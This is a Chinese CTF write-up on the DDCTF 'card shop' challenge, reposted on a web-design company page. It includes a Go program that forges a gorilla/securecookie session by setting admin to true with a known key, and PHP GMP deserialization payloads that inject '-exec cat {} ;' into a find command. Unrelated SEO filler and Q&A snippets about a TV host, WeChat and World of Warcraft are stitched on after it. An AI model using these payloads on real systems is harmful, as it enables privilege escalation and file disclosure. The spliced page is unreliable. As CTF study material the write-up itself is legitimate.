DDCTF 卡片商店(整數溢出+go cookie基礎)
大概是2 ** 63 - 2
沒學過,慢慢看,關鍵是怎么看出來是gin的,是因為cookie開頭是MTU
嗎
package mainimport ("fmt""github.com/gorilla/securecookie")var (hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")init = securecookie.New(hashKey, nil)cookie = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj")func main() {var values map[interface{}]interface{}if err := init.Decode("session",cookie, &values); err == nil {fmt.Print(values)values["admin"] = truefmt.Print(init.Encode("session", values))}}
php >5.6 <5.6.11
可以覆蓋任意已實例化的類的屬性
從反序列化到類型混淆漏洞——記一次 ecshop 實例利用
Sec Bug #70513GMP Deserialization Type Confusion Vulnerability
兩種利用方式,一種是利用有__wakeup
的類,一種是利用DateInterval
以題目源碼為例簡化版的
<?phpclass MyClass{ var $kw0ng; var $flag; public function __wakeup() { $this->kw0ng = 2; } public function get_flag() { return system('find /HackersForever ' . escapeshellcmd($this->flag)); }}$show = new ShowOff();//第一個實例化的類$bullet = $_GET['bullet'];$obstacle = new stdClass;//第二個實例化的類$mc = new MyClass();//第三個實例化的類$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";@unserialize($bullet);echo $mc->get_flag();
$inner = 's:1:"1";a:3:{s:4:"flag";s:14:"-exec cat {} ;";s:2:"bb";s:2:"hi";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$inner
里面是要覆蓋的屬性,最后一個O
類型里面是存在__wakeup
且__wakeup
的內容是給屬性賦值的類,關鍵是要覆蓋的類必須是指定順序實例化,比如這里,MyClass
是第三個實例化,所以MyClass
的__wakeup()
必須是
public function __wakeup(){ $this->kw0ng = 3;}
$pos = "3";//第三個實例化$inj = "-exec cat {} ;";$inner = 's:1:"'.$pos.'";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
奧運向前沖闖關最快紀錄?傅洋2008年,傅洋參加湖南衛視《奧運向前沖》節目。因為他的不敗紀錄,他穿著超人服裝被全國觀眾記住,然后參加了幾個電視節目。湖南衛視奧運向前沖,主持人是誰?姓名:王歡,身高:1.66米,體重:51公斤。民族:滿族,出生日期:2月14日,血型:AB。星座:水瓶座,學歷:本科,出生地:河北省承德市。愛好:安靜的時候在家看自己喜歡的書?;顒拥臅r候和好朋友一起吃飯,k歌。去商場和書...
iPhone手機版微信一直顯示在收取中解決辦法?進入并將常規后臺應用程序設置為刷新并打開。關掉不用的,打開微信解決蘋果6的問題。微信收藏出現問題的可能原因如下:WiFi本身問題,WiFi可能連接不好,導致無法上網;路由器問題,路由器可能過熱或損壞;寬帶欠費,導致無法上網;WiFi名稱中含有中文,導致部分手機無法上網;手機系統出現問題,系統可能出現問題,導致無法上網連接WiFi,但無法上網。如何解決...
WOW的精華(生命精華,水之精華等等的)什么用?在 TBC之前,很多頂級的抗性裝備等等還是需要任務的。TBC之后,因為市場萎縮,作用就沒那么大了。所以沒必要保存。打中了就扔進啊。畢竟只有很小的市場。有誰知道水之精華這玩意干什么用的嗎?水中寶箱或怪物可能掉落空氣藥卷軸,由水之精華制成,可直接恢復氧氣。水之精華用處?對皮膚很有用。當冬天來臨時,人們 的皮膚會干燥。用了水的精華之后,你的皮膚會水汪汪的。...